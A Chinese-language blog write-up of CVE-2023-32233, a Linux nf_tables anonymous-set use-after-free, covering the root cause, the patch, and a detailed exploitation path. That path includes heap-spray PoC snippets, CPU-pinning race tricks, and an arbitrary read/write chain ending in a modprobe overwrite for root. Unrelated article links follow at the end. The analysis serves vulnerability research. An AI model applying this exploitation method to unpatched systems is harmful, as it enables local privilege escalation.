Linux 内核 nftable 模块在处理匿名 set 时存在 UAF.

漏洞分析

漏洞成因是 nf_tables_deactivate_set​ 在释放匿名 set 时没有将 set 的标记设置为 inactive,导致它还能被此次 netlink 批处理中的其他任务访问,从而导致 UAF,为了介绍该漏洞和漏洞利用需要先对 netlink 的源码进行分析。

本文使用的源码版本: linux-6.1.tar.gz

源码分析

用户态进程可以一次提交多个 netlink 请求给内核,这些请求在内存中按顺序存储,请求的存储结构为 struct nlmsghdr​ ,下发请求后内核通过 nfnetlink_rcv_batch 解析每个请求并处理。

​​​​

用户态填充和发送请求的大致代码如下:

struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch); // 在批处理中新建请求
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq++
);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch); // 发送请求给内核处理
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
} mnl_nlmsg_batch_stop(batch);

netlink 批处理消息的处理流程涉及两个线程,nfnetlink_rcv_batch 在进程的系统调用上下文中执行对请求处理后,将请求转换为 trans 通过 nf_tables_destroy_list 提交给 nf_tables_trans_destroy_work 内核线程做进一步处理。

nfnetlink_rcv_batch 的关键代码如下:

  • nfnetlink_rcv_batch

    1. while (skb->len >= nlmsg_total_size(0))

      1. nc = nfnetlink_find_client(type, ss); --> struct nfnl_callback nf_tables_cb[NFT_MSG_MAX]
      2. err = nc->call(skb, &info, (const struct nlattr **)cda); --> 调用命令的处理函数
    2. err = ss->commit(net, oskb)

      • nf_tables_commit

        1. 遍历 nft_net->commit_list 根据 trans 类型进行处理

          1. case NFT_MSG_DELSETELEM:

            • nft_setelem_remove(net, te->set, te->elem_priv);
        2. nf_tables_commit_release

          1. 把 commit_list 里面的请求放到 nf_tables_destroy_list,然后让 nf_tables_trans_destroy_work 去销毁
          2. list_splice_tail_init(&nft_net->commit_list, &nf_tables_destroy_list);
          3. schedule_work(&trans_destroy_work); --> 调度 nf_tables_trans_destroy_work

主要的处理逻辑是:

  1. 遍历批处理中的每个请求,根据请求的 type 去 ss 中查找对应的处理函数,本文使用的 ss 会引用 nf_tables_cb 回调函数注册表
  2. 通过 nc->call 调用请求对应的处理函数,处理函数中对请求处理后,一般会分配 trans 对象并将其放到 commit_list 中
  3. 处理批处理中的所有请求后,会调用 ss->commit --> nf_tables_commit 从 commit_list 取出 trans 进行第二次处理
  4. nf_tables_commit 最后通过 nf_tables_commit_release 把 commit_list 放到 nf_tables_destroy_list 中,然后让 nf_tables_trans_destroy_work 线程完成最后的处理​​

nf_tables_trans_destroy_work 的主要代码如下:

  • nf_tables_trans_destroy_work

    1. list_splice_init(&nf_tables_destroy_list, &head);

    2. list_for_each_entry_safe(trans, next, &head, list --> 遍历 nf_tables_destroy_list 中的 trans.

      • nft_commit_release(trans); --> 根据 trans 的类型进行相应处理

以 NFT_MSG_DELSETELEM 请求为例跟一下请求的处理路径加深理解,首先会进入 nf_tables_delsetelem 进行处理,处理后会分配 trans 并将其放到 commit_list 中

	trans = nft_trans_elem_alloc(ctx, NFT_MSG_DELSETELEM, set);
if (trans == NULL)
goto fail_trans; nft_trans_elem(trans) = elem;
nft_trans_commit_list_add_tail(ctx->net, trans);

然后 nf_tables_commit 会处理 trans

		case NFT_MSG_DELSETELEM:
te = (struct nft_trans_elem *)trans->data; nf_tables_setelem_notify(&trans->ctx, te->set,
&te->elem,
NFT_MSG_DELSETELEM);
nft_setelem_remove(net, te->set, &te->elem);
if (!nft_setelem_is_catchall(te->set, &te->elem)) {
atomic_dec(&te->set->nelems);
te->set->ndeact--;
}
break;

最后在 nf_tables_trans_destroy_work --> nft_commit_release 完成最后的处理。

static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
case NFT_MSG_DELSETELEM:
nf_tables_set_elem_destroy(&trans->ctx,
nft_trans_elem_set(trans),
nft_trans_elem(trans).priv);
break;

漏洞触发

接下来看一下漏洞触发的代码路径和内存变化,触发 UAF 的步骤如下:

  1. 创建一个匿名 set (pwn_lookup_set)并往 set 里面插入一个 elem

  2. 创建一个 rule ,rule 里面新建一个 lookup 的 expr, lookup expr 会引用 pwn_lookup_set

  3. 创建一个批处理其中包含两个请求:

    1. 使用 NFT_MSG_DELRULE 删除上一步创建的 rule
    2. 使用 NFT_MSG_DELSETELEM 删除 pwn_lookup_set 的 elem
  4. 在 nft_commit_release 处理 NFT_MSG_DELRULE 时会释放 rule 里面的 expr,然后在 nft_lookup_destroy 里面会释放匿名 set

  5. 在 nft_commit_release 处理 NFT_MSG_DELSETELEM 就会访问到已经释放的 set.

下面以图和代码结合的形式分析内存状态的变化,创建匿名 set 和 rule 后的内存关系如下:

PS: pwn_lookup_set 是一个匿名 set ,里面有一个 elem; rule 里面有一个 lookup 类型的 expr,其中引用了 pwn_lookup_set

请求提交给内核后,会在 nfnetlink_rcv_batch 获取相关对象的指针(rule、set 、elem 的指针),然后将其封装到 trans 对象中,最后在 nf_tables_trans_destroy_work --> nft_commit_release 完成具体的释放。

在 nft_commit_release 处理 NFT_MSG_DELRULE 命令时会同步释放 rule 里面的 expr,在释放 lookup expr 时会进入 nft_lookup_destroy 释放其关联的 set ,即 pwn_lookup_set

static void nft_lookup_destroy(const struct nft_ctx *ctx,
const struct nft_expr *expr)
{
struct nft_lookup *priv = nft_expr_priv(expr); nf_tables_destroy_set(ctx, priv->set);
}

然后在处理 NFT_MSG_DELSETELEM 时就会用到已经被释放的 set,因为内核无法知道其 trans 保存的 set 指针已经被释放

static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); kfree(elem);
} static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) { case NFT_MSG_DELSETELEM:
nf_tables_set_elem_destroy(&trans->ctx,
nft_trans_elem_set(trans),
nft_trans_elem(trans).priv);
break;

最后总结一下:在 nfnetlink_rcv_batch 处理 NFT_MSG_DELRULE 和 NFT_MSG_DELSETELEM 会把分别需要用到的对象指针(rule 指针和 set 指针)保存到 trans,然后在 nf_tables_trans_destroy_work 处理 NFT_MSG_DELRULE 命令释放 rule 和 set 时,NFT_MSG_DELSETELEM 请求已经在队列中了,然后在处理 NFT_MSG_DELSETELEM 时就会拿到该 trans 里面保存的 set 指针,而此时该指针指向的对象已经被释放。

补丁分析

补丁地址:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c1592a89942e9678f7d9c8030efa777c0d57edab

关键点:

 void nf_tables_deactivate_set(const struct nft_ctx *ctx, struct nft_set *set,
struct nft_set_binding *binding,
enum nft_trans_phase phase)
{
switch (phase) {
case NFT_TRANS_PREPARE:
+ if (nft_set_is_anonymous(set))
+ nft_deactivate_next(ctx->net, set);
+
set->use--;
return;
case NFT_TRANS_ABORT:

在 NFT_TRANS_PREPARE 阶段,如果 set 是匿名的就将其设置为 inactivate 状态,这样批处理后面的其他请求就无法拿到该 set 的指针。

在 nf_tables_delrule 里面会使用 NFT_TRANS_PREPARE 参数调用 nft_rule_expr_deactivate:

  • nf_tables_delrule

    • nft_delrule_by_chain

      • nft_delrule

        • nft_rule_expr_deactivate(ctx, rule, NFT_TRANS_PREPARE);

打上补丁后,NFT_MSG_DELRULE 就会进入 nf_tables_deactivate_set 把 expr 引用的匿名 set 标记为 inactivate,这样后面的 NFT_MSG_DELSETELEM 就拿不到该 set 的指针,在 nf_tables_delsetelem --> nft_set_lookup 里面会校验 set 的状态:

static struct nft_set *nft_set_lookup(const struct nft_table *table,
const struct nlattr *nla, u8 genmask)
{
struct nft_set *set; if (nla == NULL)
return ERR_PTR(-EINVAL); list_for_each_entry_rcu(set, &table->sets, list) {
if (!nla_strcmp(nla, set->name) &&
nft_active_genmask(set, genmask))
return set;
}
return ERR_PTR(-ENOENT);
}

漏洞利用

越界销毁 expr

前面我们对漏洞成因和漏洞触发涉及的部分源码进行了分析,下面讨论漏洞利用部分,首先我们看看 USE 点的相关代码:

static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); kfree(elem);
}

在执行 nf_tables_set_elem_destroy 时 set 已经被释放,可以用不同类型的 set 占位,进而控制 ext ,最终导致越界释放一个 expr。

要理解这一步需要搞清楚 set 和 elem 的结构关系,这些信息可以通过 nft_add_set_elem 获取,主要代码如下:

  • nft_add_set_elem

    1. nft_set_ext_prepare(&tmpl);

    2. nft_set_ext_add(&tmpl, NFT_SET_EXT_FLAGS);

    3. nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY, set->klen);

    4. nft_set_ext_add_length(&tmpl, NFT_SET_EXT_USERDATA, ulen);

    5. elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data, elem.key_end.val.data, elem.data.val.data, timeout, expiration, GFP_KERNEL_ACCOUNT);

      • elem = kzalloc(set->ops->elemsize + tmpl->len, gfp);
      • nft_set_ext_memcpy(tmpl, NFT_SET_EXT_KEY, nft_set_ext_key(ext), key, set->klen)
    6. nla_memcpy(&nft_set_ext_userdata(ext)->data, nla[NFTA_SET_ELEM_USERDATA], ulen);

    7. nft_setelem_insert(ctx->net, set, &elem, &ext2, flags)

      • nft_rhash_insert

        • struct nft_rhash *priv = nft_set_priv(set);
        • struct nft_rhash_elem *he = elem->priv;
        • rhashtable_lookup_get_insert_key(&priv->ht, &arg, &he->node, nft_rhash_params); 把 elem 插入到 set 里面

通过分析可知 elem 的数据结构如下:

elem 的开头数据大小为 set->ops->elemsize 其中的数据结构与 set 的类型相关,本文主要涉及 nft_set_rhash_type 和 nft_set_hash_type ,两者的 elemsize 分别为 8 和 0x10.

​​​​

elem 的第二个部分是 struct nft_set_ext 结构体,在 struct nft_set_ext 的后面是实际的 ext 数据,ext->offset 是一个 9 字节的数组,数组中的每一项表示该类型的数据相对 ext 结构起始地址的偏移。

下图是一个存储了 NFT_SET_EXT_KEY 和 NFT_SET_EXT_EXPRESSIONS 的 elem 对象的布局:

PS: offset[0] 保存了 NFT_SET_EXT_KEY 数据相对 ext 的偏移; offset[7] 保存了 NFT_SET_EXT_EXPRESSIONS 数据相对 ext 的偏移;内核根据偏移就能计算出相应数据的地址。

下面再看一下内核访问 NFT_SET_EXT_EXPRESSIONS 使用的相关代码:

static inline void *nft_set_ext(const struct nft_set_ext *ext, u8 id)
{
return (void *)ext + ext->offset[id];
} static inline struct nft_set_elem_expr *nft_set_ext_expr(const struct nft_set_ext *ext)
{
return nft_set_ext(ext, NFT_SET_EXT_EXPRESSIONS);
}

nft_set_ext_expr 首先从 ext->offset[NFT_SET_EXT_EXPRESSIONS] 取出偏移,然后加上 ext 地址,最后强转为 struct nft_set_elem_expr​ 指针。

再次回到漏洞原语:

static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); kfree(elem);
}

如果我们首先设置 set->ops->elemsize = 8,触发 free 后使用 set->ops->elemsize = 0x10 的 set 占位,这样 nft_set_elem_ext 计算出的 ext 就会发生 8 字节的错位:

错位后拿到的 ext->offset[2...8]​ 位于原始 ext 的 EXT_KEY 部分,该数据由用户态控制:

    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len);  --> 设置 EXT_KEY
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata)); nftnl_set_elem_add(set, set_elem); struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq
);

通过控制 ext->offset[NFT_SET_EXT_EXPRESSIONS],可以让 nft_set_ext_expr(ext) 返回一个非法的地址作为 nft_set_elem_expr,非法的 expr 会在 nft_set_elem_expr_destroy 中被释放

static void nft_set_elem_expr_destroy(const struct nft_ctx *ctx,
struct nft_set_elem_expr *elem_expr)
{
struct nft_expr *expr;
u32 size; nft_setelem_expr_foreach(expr, elem_expr, size)
__nft_set_elem_expr_destroy(ctx, expr);
}

expr 最终会在 nf_tables_expr_destroy 被释放

static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
struct nft_expr *expr)
{
const struct nft_expr_type *type = expr->ops->type; if (expr->ops->destroy)
expr->ops->destroy(ctx, expr);
module_put(type->owner);
}

由于我们目前并没有泄露内核地址,所以无法控制 expr->ops 来劫持控制流,作者采取的思路是控制 ext->offset[NFT_SET_EXT_EXPRESSIONS] 让 nft_set_ext_expr 返回一个合法的 expr,具体思路是通过堆布局在 elem 相邻位置布置 expr,然后通过 UAF 销毁相邻的 合法 expr,进行漏洞的转换,作者使用的是 nft_log_type

static struct nft_expr_type nft_log_type;
static const struct nft_expr_ops nft_log_ops = {
.type = &nft_log_type,
.size = NFT_EXPR_SIZE(sizeof(struct nft_log)),
.eval = nft_log_eval,
.init = nft_log_init,
.destroy = nft_log_destroy,
.dump = nft_log_dump,
.reduce = NFT_REDUCE_READONLY,
}; static struct nft_expr_type nft_log_type __read_mostly = {
.name = "log",
.ops = &nft_log_ops,
.policy = nft_log_policy,
.maxattr = NFTA_LOG_MAX,
.owner = THIS_MODULE,
}; static void nft_log_destroy(const struct nft_ctx *ctx,
const struct nft_expr *expr)
{
struct nft_log *priv = nft_expr_priv(expr);
struct nf_loginfo *li = &priv->loginfo; if (priv->prefix != nft_log_null_prefix)
kfree(priv->prefix); if (li->u.log.level == NFT_LOGLEVEL_AUDIT)
return; nf_logger_put(ctx->family, li->type);
}

通过销毁 log expr 可以导致 nft_log->prefix 的 UAF.

稳定占位 UAF 对象

下面讨论如何稳定的占位被释放的 set ,根据前面的代码分析可知 set 会在 nf_tables_trans_destroy_work 线程中被释放和重用, free 和 use 点之间在一个大循环中完成

	list_for_each_entry_safe(trans, next, &head, list) {
list_del(&trans->list);
nft_commit_release(trans);
}

PS: 1. 第一次循环删除 rule 导致 set 被释放; 2. 第二次循环引用被释放的 set.

对于该漏洞的占位需要解决两个问题:

  1. 由于 nf_tables_trans_destroy_work 是内核线程,用户态无法知道它实际运行时所处的 CPU,如果发起占位请求的进程所处 CPU 和它的CPU 不一致会导致占位失败(CONFIG_SLUB_CPU_PARTIAL)
  2. free 点和 use 点之间的时间窗比较小,需要想办法增大,否则无法在狭窄的时机窗完成占位

首先是第一个问题,用户态进程可以通过设置 CPU 亲和性的方式将进程或者线程绑定到某个 CPU 去执行,对于内核线程则是随机调度用户态无法控制,作者采取的方案是利用 死循环线程占位 CPU(1, 2, 3),提高内核将 nf_tables_trans_destroy_work 调度到某个特定 CPU (0)的可能性,如图所示:

​​​​

PS: 没记错的话这种占位其他 CPU 的方式之前一些 binder 系统服务的漏洞利用中出现过

第二个问题的解决利用 nft_commit_release 中会循环删除元素的特性,在删除 set 时会遍历删除 set 里面所有的 elem

static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
int i; if (WARN_ON(set->use > 0))
return; for (i = 0; i < set->num_exprs; i++)
nft_expr_destroy(ctx, set->exprs[i]); set->ops->destroy(set); // 遍历删除 set 里面的所有 elem
nft_set_catchall_destroy(ctx, set);
kfree(set->name);
kvfree(set);
}

可以利用代码的循环增大时间窗,具体做法如下,下发三个请求分别为:

  1. NFT_MSG_DELRULE 删除 rule 及它引用的匿名 set
  2. NFT_MSG_DELSET 删除 delay_set ,该 set 里面有大量的 elem
  3. NFT_MSG_DELSETELEM 引用被释放的匿名 set

在 nf_tables_trans_destroy_work 处理第二个请求释放 delay_set 时,会花很多时间释放其中的 elem,这时我们可以在用户态堆喷占位 set。

​​​​

通过调试可以确认 pwn_lookup_set 被占位后, ops->elemsize 从 8 变成了 16

(gdb) p (((struct nft_trans_elem *)trans->data)->set)->name
$12 = 0xffff888113fffea0 "race_set_0004"
(gdb) p *(((struct nft_trans_elem *)trans->data)->set)->ops
$13 = {
lookup = 0xffffffffc085ff00 <nft_hash_lookup>,
update = 0x0 <fixed_percpu_data>,
delete = 0x0 <fixed_percpu_data>,
insert = 0xffffffffc085fa10 <nft_hash_insert>,
activate = 0xffffffffc085f420 <nft_hash_activate>,
deactivate = 0xffffffffc085f950 <nft_hash_deactivate>,
flush = 0xffffffffc085f450 <nft_hash_flush>,
remove = 0xffffffffc085f480 <nft_hash_remove>,
walk = 0xffffffffc085f4c0 <nft_hash_walk>,
get = 0xffffffffc085fe40 <nft_hash_get>,
privsize = 0xffffffffc085f830 <nft_hash_privsize>,
estimate = 0xffffffffc085f7d0 <nft_hash_estimate>,
init = 0xffffffffc085f790 <nft_hash_init>,
destroy = 0xffffffffc085f690 <nft_hash_destroy>,
gc_init = 0x0 <fixed_percpu_data>,
elemsize = 16
}
(gdb) bt
#0 0xffffffffc0850984 in nft_commit_release (trans=0xffff88811e22da00) at net/netfilter/nf_tables_api.c:8476
#1 nf_tables_trans_destroy_work (w=<optimized out>) at net/netfilter/nf_tables_api.c:8513
#2 0xffffffff810e581c in process_one_work (worker=worker@entry=0xffff8881039c7540, work=0xffffffffc0872380 <trans_destroy_work>) at kernel/workqueue.c:2289
#3 0xffffffff810e5a40 in worker_thread (__worker=0xffff8881039c7540) at kernel/workqueue.c:2436
#4 0xffffffff810ee77a in kthread (_create=0xffff888107f66640) at kernel/kthread.c:376
#5 0xffffffff810028bf in ret_from_fork () at arch/x86/entry/entry_64.S:306
#6 0x0000000000000000 in ?? ()

堆风水分析

占位 set 后可以让 elem 错位,利用 nf_tables_set_elem_destroy 可以越界销毁一个 expr,因此我们需要在 elem 的附近布置 nft_log expr,elem 在 nft_add_set_elem 中被分配,分配的 flag 为 GFP_KERNEL_ACCOUNT,分配大小可以控制。

log expr 可以通过 newrule 请求分配,分配的 flag 为 GFP_KERNEL_ACCOUNT,log expr 会嵌入到 rule 的内存中。

  • nf_tables_newrule

    1. handle = nf_tables_alloc_handle(table);

    2. nft_ctx_init(&ctx, net, skb, info->nlh, family, table, chain, nla);

    3. size = 0;

    4. nla_for_each_nested(tmp, nla[NFTA_RULE_EXPRESSIONS], rem) --> 计算 expr 占用的内存大小

      • err = nf_tables_expr_parse(&ctx, tmp, &expr_info[n]); --> 根据 expr 挑选 ops
      • size += expr_info[n].ops->size;
    5. ulen = nla_len(nla[NFTA_RULE_USERDATA]);

    6. usize = sizeof(struct nft_userdata) + ulen;

    7. rule = kzalloc(sizeof(*rule) + size + usize, GFP_KERNEL_ACCOUNT);

    8. rule->dlen = size; --> expr 占用的内存

    9. 然后往 rule->data 区域填充 expr (顺序排布)

      • nf_tables_newexpr(&ctx, &expr_info[i], expr)

        • nft_log_init

          1. nla = tb[NFTA_LOG_PREFIX];
          2. priv->prefix = kmalloc(nla_len(nla) + 1, GFP_KERNEL);
          3. nla_strscpy(priv->prefix, nla, nla_len(nla) + 1);

堆喷之后的内存布局示意图如下:

​​​​​​

PS: nft_log expr 内嵌在 rule 结构中,控制 elem 的 offset 让其返回指向相邻 nft_log expr 的指针,就可以销毁 nft_log expr

poc 中堆喷逻辑如下:

    for (int spray = - 0x60; spray < 0x21; ++ spray) {
if (spray == 0) {
pwn_create_lookup_set_elem(batch, seq++, pwn_lookup_set, uaf_set_key, sizeof(uaf_set_key));
}
else {
pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix);
}
}

就是在 elem 前后喷几十个 rule 确保 elem 被 rule 包围

在分配 rule 和 elem 的位置下断点打印分配的地址可以确认堆喷情况

def newrule_cb(bp):
rule = get_symbol_address("rule")
print("[new_rule] 0x{:08x}".format(rule))
return False newrule_bp = WrapperBp("net/netfilter/nf_tables_api.c:3526", cb=newrule_cb) def add_set_elem_cb(bp):
elem = get_symbol_address("elem.priv")
print("[add_set_elem] 0x{:08x}".format(elem))
return False add_set_elem_bp = WrapperBp("net/netfilter/nf_tables_api.c:6154", cb=add_set_elem_cb)

部分日志如下

log rule 和 pwn_set 的 elem 的堆喷布局看起来用的大小应该是 0x80

[new_rule] 0xffff88810dd7a300
[new_rule] 0xffff88810dd7ad00
[new_rule] 0xffff88810dd7ad80
[add_set_elem] 0xffff88810dd7a980
[new_rule] 0xffff88810dd7a280
[new_rule] 0xffff88810dd7a800
[new_rule] 0xffff88810dd7ab00
[new_rule] 0xffff88810dd7a200
[new_rule] 0xffff88810dd7a480
[new_rule] 0xffff88810dd7a380
[new_rule] 0xffff88810dd7a500
[new_rule] 0xffff88810dd7af00
[new_rule] 0xffff88810dd7a580
[new_rule] 0xffff88810dd7ae80
[new_rule] 0xffff88810dd7a900 ---> elem 前面的 rule
[new_rule] 0xffff88810dd7aa80
[new_rule] 0xffff88810dd7aa00 ---> elem 后面的 rule
[new_rule] 0xffff88810dd7ab80

任意地址读写

至此我们将漏洞转换为了 nft_log->prefix 的 UAF ,该内存通过 GFP_KERNEL 分配且大小可控,prefix 是一个字符串用起来不方便,使用 nft_object->udata​ 占位后,通过 nft_log 释放 prefix,转换为 udata 的 UAF

static int nf_tables_newobj(struct sk_buff *skb, const struct nfnl_info *info,
const struct nlattr * const nla[])
{ if (nla[NFTA_OBJ_USERDATA]) {
obj->udata = nla_memdup(nla[NFTA_OBJ_USERDATA], GFP_KERNEL);
if (obj->udata == NULL)
goto err_userdata; obj->udlen = nla_len(nla[NFTA_OBJ_USERDATA]);
}

然后通过 nft_dynset_new​ 分配 nft_counter​ 和 nft_quota​ 占位 udata,通过读取 udata 泄露nft_counter​ 中的 ko 地址,然后利用 udata 修改 nft_quota->consumed 实现任意地址读写。

struct nft_quota {
atomic64_t quota;
unsigned long flags;
atomic64_t *consumed;
}; static inline bool nft_overquota(struct nft_quota *priv,
const struct sk_buff *skb)
{
return atomic64_add_return(skb->len, priv->consumed) >=
atomic64_read(&priv->quota);
} static int nft_quota_do_dump(struct sk_buff *skb, struct nft_quota *priv,
bool reset)
{
u64 consumed, consumed_cap, quota;
u32 flags = priv->flags; /* Since we inconditionally increment consumed quota for each packet
* that we see, don't go over the quota boundary in what we send to
* userspace.
*/
consumed = atomic64_read(priv->consumed);
}

修改 modprobe 提权。

总结

漏洞挖掘

这个漏洞涉及的代码非常多,包括对象的管理、netlink 请求的处理流程,涉及多个线程、全局链表的协同,需要对相关代码十分熟悉才能通过代码审计发现该漏洞,不过之前好像也出过匿名 set 的洞,如果专门去看匿名 set 相关逻辑应该可以降低漏洞挖掘难度。而且驱动代码确实对匿名 set 有特别的处理导致这个漏洞的产生,启示我们在做代码审计时需要重点关注特判的逻辑场景。

漏洞利用

  1. 这个漏洞的原语相当于越界类型混淆,由于没有地址泄露无法伪造 expr 对象,所以布置一个合法对象将漏洞转换为 prefix 的 UAF。
  2. 通过 CPU 占位控制内核线程调度的思路非常巧妙,内核中有不少漏洞都是在内核线程里面触发,这个思路可以提升这类漏洞的可利用性。
  3. 利用程序循环来提升 RACE 是比较常用的思路,遇到类似场景可以选用。

参考资料

  1. https://www.openwall.com/lists/oss-security/2023/05/15/5/1

CVE-2023-32233 Linux 内核 UAF 漏洞分析与利用的更多相关文章

  1. 20169212《Linux内核原理与分析》课程总结

    20169212<Linux内核原理与分析>课程总结 每周作业链接汇总 第一周作业:完成linux基础入门实验,了解一些基础的命令操作. 第二周作业:学习MOOC课程--计算机是如何工作的 ...

  2. 2019-2020-1 20199329《Linux内核原理与分析》第十三周作业

    <Linux内核原理与分析>第十三周作业 一.本周内容概述 通过重现缓冲区溢出攻击来理解漏洞 二.本周学习内容 1.实验简介 注意:实验中命令在 xfce 终端中输入,前面有 $ 的内容为 ...

  3. 2019-2020-1 20199329《Linux内核原理与分析》第十二周作业

    <Linux内核原理与分析>第十二周作业 一.本周内容概述: 通过编程理解 Set-UID 的运行机制与安全问题 完成实验楼上的<SET-UID程序漏洞实验> 二.本周学习内容 ...

  4. 2019-2020-1 20199329《Linux内核原理与分析》第十一周作业

    <Linux内核原理与分析>第十一周作业 一.本周内容概述: 学习linux安全防护方面的知识 完成实验楼上的<ShellShock 攻击实验> 二.本周学习内容: 1.学习& ...

  5. 2019-2020-1 20199318《Linux内核原理与分析》第十三周作业

    <Linux内核原理与分析> 第十三周作业 一.预备知识 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片 ...

  6. 2019-2020-1 20199318《Linux内核原理与分析》第十一周作业

    <Linux内核原理与分析> 第十一周作业 一.预备知识 什么是ShellShock? Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全 ...

  7. 20169212《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...

  8. Linux内核源代码情景分析系列

    http://blog.sina.com.cn/s/blog_6b94d5680101vfqv.html Linux内核源代码情景分析---第五章 文件系统  5.1 概述 构成一个操作系统最重要的就 ...

  9. 20169210《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...

  10. Linux内核启动代码分析二之开发板相关驱动程序加载分析

    Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c  start_ke ...

随机推荐

  1. Hive 2.3.2安装

    一.安装mysql 安装MySQL服务器端和MySQL客户端: •安装: – yum install mysql – yum install mysql-server •启动: – /etc/init ...

  2. 10-30 NOIP模拟赛

    10-30 NOIP模拟赛 今天分数还看的过去,只是第二题没有正解,第三题没有35我表示很伤心.必须继续努力,保持内心纯净,心无杂念,知行合一,摒除恶念. 100 + 80 + 5 = 185 芜湖! ...

  3. WebGL学习笔记

    完整 demo 和 lib 文件可以在 https://github.com/tengge1/webgl-guide-code 中找到. 第 2 章 WebGL 入门 第一个 WebGL 程序 fun ...

  4. c++中字符/串->整数

    char字符->整数数字:std::isdigit 用于判断某个字符是否为数字(0-9). 字符串->数字:std::stoi 用于将字符转换为整数. int isdigit( int c ...

  5. excel江湖异闻录--自序

    本书原名<excel从高手到小白>,取这个名字是因为,当我只会几个有关excel的快捷键和简单函数时我放眼我所在的"井口",当真有种天下谁与争锋的感觉,的确就我周围的伙 ...

  6. 2024年8月中国数据库排行榜:OceanBase攀升再夺冠,达梦跃入三甲关

    在这个炽热的季节,随着巴黎奥运会的盛大开幕,全球将目光聚集在了体育的无限魅力和竞技的巅峰对决上.如同奥运赛场上的激烈角逐,中国数据库界也上演着一场技术与创新的较量,各个数据库产品正在中国乃至全球舞台上 ...

  7. 某小说解锁VIP

    在User类中定位到这个方法,尝试直接返回true 可以发现apk显示了vip的到期时间,测试一下vip是否有效 显然这个vip是没起作用的,还有地方在控制这个vip的方法.在jadx中查看交叉引用 ...

  8. iOS程序执行顺序和UIViewController的生命周期

    一.程序的执行顺序 启动程序 --- -[AppDelegate application:didFinishLaunchingWithOptions:] ---   --- -[AppDelegate ...

  9. day13-JavaDoc

    JavaDoc JavaDoc命令是用来生成自己API文档的 参数信息 @author 作者名 @version 版本号 @since 指明需要最早使用的jdk版本 @param 参数名 @retur ...

  10. AWR分享案例

    [深度长文]循序渐进解读Oracle AWR性能分析报告 - ORACLE - dbaplus社群:围绕Data.Blockchain.AiOps的企业级专业社群.技术大咖.原创干货,每天精品原创文章 ...